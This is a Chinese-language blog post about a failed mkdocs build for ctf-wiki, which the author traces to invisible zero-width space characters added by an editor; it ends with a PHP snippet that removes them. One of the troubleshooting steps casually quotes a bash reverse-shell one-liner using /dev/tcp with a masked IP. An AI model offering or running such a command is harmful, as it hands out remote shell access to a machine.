【記一次pull request的慘痛教訓】不可見的分隔符之Zero-with-space

問題描述:

我在修改 ctf-wiki 目錄後進行 mkdocs build 去生成索引目錄的時候報錯:

mkdocs-build-and-serve

然後我嘗試定位到第 2 行和第 288 行,這些行我似乎並沒有修改過啊。

未果,開始去找師傅解決。

解決方案探索:

由於我不太懂 mkdocs 的運行機制,這個時候肯定是需要找劉師傅了。

方案一、 mkdocsclean 緩存。

似乎這個想法是行不通了,不是根本原因。

方案二、改目錄

我們開始猜想是不是路徑中有中文的鍋,改一下路徑,未果。

方案三、反彈 shell

弄不出來了,我直接反彈一個 shell 給劉師傅。

bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1

似乎師傅覺得權限太小了,然後不讓弄了23333,未果。

方案四、重新clone一遍

一般出現問題,從頭來一遍就好了,然後我這麼做了,重新改了一下索引,未果。

方案五、 git diff 定位源碼

使用 git diff 看哪部分代碼修改過了,發現了一些問題,明明兩段代碼一模一樣的,卻顯示有被修改過的痕跡。

探索:

既然有點眉頭了,我們開始猜測是不是 tab 和空格混淆了,但是我並沒有修改過,幾番猜測後可能是我的編輯器存在問題,我用 Typora 修改的目錄,可能是因爲編輯器的問題,自動加上了一些奇怪的東西進去。

開始嘗試:

vim 去查看下目錄文件,事情果然不簡單:

zero-with-space

這個 <200b> 是什麼鬼東西,刪掉再本地跑一下試試看先,果真是這個特殊字符的鍋。

特意去維基百科上查閱了文檔,發現這個學術名詞叫 Zero-width-space(零寬空格) ,是一種不可打印的 Unicode 字符,用於可能需要換行處。

簡單理解,什麼是零寬度空格?它是一個Unicode字符,它是一個空格,它沒有寬度!

什麼叫沒有寬度?就是如果 2 個字母之間打了一個零寬度空格,你是看不見任何東西的,兩個字母還是會挨在一起。而且更坑爹的是,就算你用的是等寬字體,它也看不見。

這種字符在高級編輯器中都是看不見這個符號的,只有 VIM 這種古老的編輯器才能看到。

有關這種特殊字元存在以下三種形式:

Unicode code point character UTF-8 (in literal) name
U+200B \xe2\x80\x8b ZERO WIDTH SPACE
U+200C \xe2\x80\x8c ZERO WIDTH NON-JOINER
U+200D \xe2\x80\x8d ZERO WIDTH JOINER

我們在寫入文件中應該用以下語法去過濾這三種字符:

// remove zero width space
$value = str_replace("\xe2\x80\x8b", '', $value);
$value = str_replace("\xe2\x80\x8c", '', $value);
$value = str_replace("\xe2\x80\x8d", '', $value);

擴展:

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章